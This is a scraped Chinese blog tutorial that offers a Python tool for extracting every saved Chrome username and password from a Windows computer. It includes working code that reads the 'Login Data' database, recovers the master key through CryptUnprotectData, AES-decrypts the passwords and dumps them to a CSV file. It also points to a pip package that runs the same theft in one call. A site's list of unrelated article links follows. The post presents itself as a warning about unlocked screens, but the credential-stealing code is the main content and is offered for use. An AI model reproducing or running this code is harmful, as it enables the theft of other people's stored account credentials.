Python 一键获取电脑浏览器的账号密码


Posted in Python onMay 11, 2022

导语

发现很多人在学校图书馆喜欢用电脑占座(以古度今,我好像好多年没去过学校图书馆了),而且出去的时候经常不锁屏,为了让大家养成良好的习惯,我来带大家写个小程序吧,无需输入任何密码就可以快速获取你存储在电脑浏览器中的所有账号和密码,算是通过实践出真知来给大家提个醒了~

废话不多说,让我们愉快地开始吧~

相关文件

Github地址

开发工具

Python版本:3.7.8

相关模块:

pikachupytools模块;

pycryptodome模块;

以及一些python自带的模块。

环境搭建

安装Python并添加到环境变量,pip安装需要的相关模块即可。

原理简介

众所周知,我们的浏览器里一般存储了很多我们访问过的网站的账号和密码:

Python 一键获取电脑浏览器的账号密码

一般情况下,查看这些密码是需要输入电脑的开机密码的。但是事实上,我们也可以通过其他方式直接查看这些账号密码。例如谷歌浏览器里保存账号密码的数据库文件默认路径为:

os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'

我们可以通过读取该文件获得对应的账号密码:

'''读取数据库数据'''
def readdb(self, dbpath, master_key):
    sql = 'SELECT origin_url, username_value, password_value, date_created, date_last_used FROM logins;'
    client = sqlite3.connect(dbpath)
    cursor = client.cursor()
    with open(self.savename, 'a', newline='', encoding='utf-8-sig') as csv_file:
        cursor.execute(sql)
        csv_writer = csv.writer(csv_file, dialect=('excel'))
        if not self.write_heads_flag:
            csv_writer.writerow(self.csv_heads)
            self.write_heads_flag = True
        info = []
        for row in cursor.fetchall():
            for idx in range(len(self.csv_heads)):
                if isinstance(row[idx], bytes):
                    info.append(self.decrypt(row[idx], master_key))
                else:
                    info.append(row[idx])
            csv_writer.writerow(info)
            info = []
    cursor.close()
    client.close()

其中密码是加密之后的结果,打印出来大概是这样子的:

Python 一键获取电脑浏览器的账号密码

但是解密其实也很简单,通过网上的资料可以知道,我们只需要获得key值:

'''获得master key'''
def getmasterkey(self, local_state_path):
    import win32crypt
    with open(os.environ['USERPROFILE'] + os.sep + local_state_path, 'r', encoding='utf-8') as fp:
        local_state = fp.read()
        local_state = json.loads(local_state)
    master_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
    master_key = master_key[5:]
    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    return master_key

然后根据key值进行解码就行了:

'''解码'''
def decrypt(self, value, master_key):
    print(value)
    if value[:3] == b'v10':
        from Crypto.Cipher import AES
        iv, payload = value[3:15], value[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_value = cipher.decrypt(payload)
        decrypted_value = decrypted_value[:-16].decode()
    else:
        import win32crypt
        decrypted_value = win32crypt.CryptUnprotectData(value)[1].decode()
    return decrypted_value

解码之后的运行效果结果如下:

Python 一键获取电脑浏览器的账号密码

获得的结果默认保存在results.csv中,截图如下:

Python 一键获取电脑浏览器的账号密码

ok,大功告成啦,完整源代码详见相关文件。

想要快速测试的小伙伴只需要pip安装一下pikachupytools包:

pip install pikachupytools --upgrade

然后简单写几行代码就能调用运行了:

from pytools import pytools

tool_client = pytools.pytools()
tool_client.execute('decryptbrowser')

到此这篇关于基于Python实现一键获取电脑浏览器的账号密码的文章就介绍到这了!

Python 相关文章推荐
python中偏函数partial用法实例分析
Jul 08 Python
在Django的URLconf中使用命名组的方法
Jul 18 Python
利用pyinstaller或virtualenv将python程序打包详解
Mar 22 Python
python中pip的安装与使用教程
Aug 10 Python
PyCharm设置护眼背景色的方法
Oct 29 Python
pycharm配置pyqt5-tools开发环境的方法步骤
Feb 11 Python
python pygame实现方向键控制小球
May 17 Python
浅谈django2.0 ForeignKey参数的变化
Aug 06 Python
Python列表切片常用操作实例解析
Mar 10 Python
Ubuntu18.04安装 PyCharm并使用 Anaconda 管理的Python环境
Apr 08 Python
IntelliJ 中配置 Anaconda的过程图解
Jun 01 Python
Python 生成短8位唯一id实战教程
Jan 13 Python
图神经网络GNN算法
May 11 #Python
python神经网络ResNet50模型
May 06 #Python
python和anaconda的区别
May 06 #Python
python神经网络Xception模型
May 06 #Python
Python使用永中文档转换服务
May 06 #Python
Python tensorflow卷积神经Inception V3网络结构
May 06 #Python
Python实现Matplotlib,Seaborn动态数据图
May 06 #Python
You might like
php下实现在指定目录搜索指定类型文件的函数
2008/10/03 PHP
php一句话cmdshell新型 (非一句话木马)
2009/04/18 PHP
PHP下对字符串的递增运算代码
2010/08/21 PHP
解决php接收shell返回的结果中文乱码问题
2014/01/23 PHP
codeigniter自带数据库类使用方法说明
2014/03/25 PHP
php返回相对时间(如:20分钟前,3天前)的方法
2015/04/14 PHP
PHP多维数组遍历方法(2种实现方法)
2015/12/10 PHP
图片按比例缩放函数
2006/06/26 Javascript
Jquery Ajax学习实例 向页面发出请求,返回XML格式数据
2010/03/14 Javascript
JQuery实现Ajax加载图片的方法
2015/12/24 Javascript
js插件dropload上拉下滑加载数据实例解析
2016/07/27 Javascript
AngularJS入门教程之Helloworld示例
2016/12/25 Javascript
vue.js指令v-model使用方法
2017/03/20 Javascript
node.js 模块和其下载资源的镜像设置的方法
2018/09/06 Javascript
在vue中安装使用vux的教程详解
2018/09/16 Javascript
OpenLayers3实现地图显示功能
2020/09/25 Javascript
[44:15]DOTA2上海特级锦标赛主赛事日 - 5 败者组决赛Liquid VS EG第二局
2016/03/06 DOTA
Python动态加载模块的3种方法
2014/11/22 Python
用Python的SimPy库简化复杂的编程模型的介绍
2015/04/13 Python
Python装饰器基础详解
2016/03/09 Python
python中实现指定时间调用函数示例代码
2017/09/08 Python
python学习基础之循环import及import过程
2018/04/22 Python
Python通过调用有道翻译api实现翻译功能示例
2018/07/19 Python
django中forms组件的使用与注意
2019/07/08 Python
python实现ftp文件传输系统(案例分析)
2020/03/20 Python
Python startswith()和endswith() 方法原理解析
2020/04/28 Python
django template实现定义临时变量,自定义赋值、自增实例
2020/07/12 Python
PyQt5的QWebEngineView使用示例
2020/10/20 Python
如何用H5实现一个触屏版的轮播器的实例
2017/01/09 HTML / CSS
英国高级百货公司:Harvey Nichols
2017/01/29 全球购物
泰国时尚电商:POMELO Fashion
2020/03/11 全球购物
领导干部作风建设总结
2014/10/23 职场文书
圣诞晚会主持词开场白
2015/05/28 职场文书
学校2016年圣诞节活动总结
2016/03/31 职场文书
MySQL中的隐藏列的具体查看
2021/09/04 MySQL
一次Mysql update sql不当引起的生产故障记录
2022/04/01 MySQL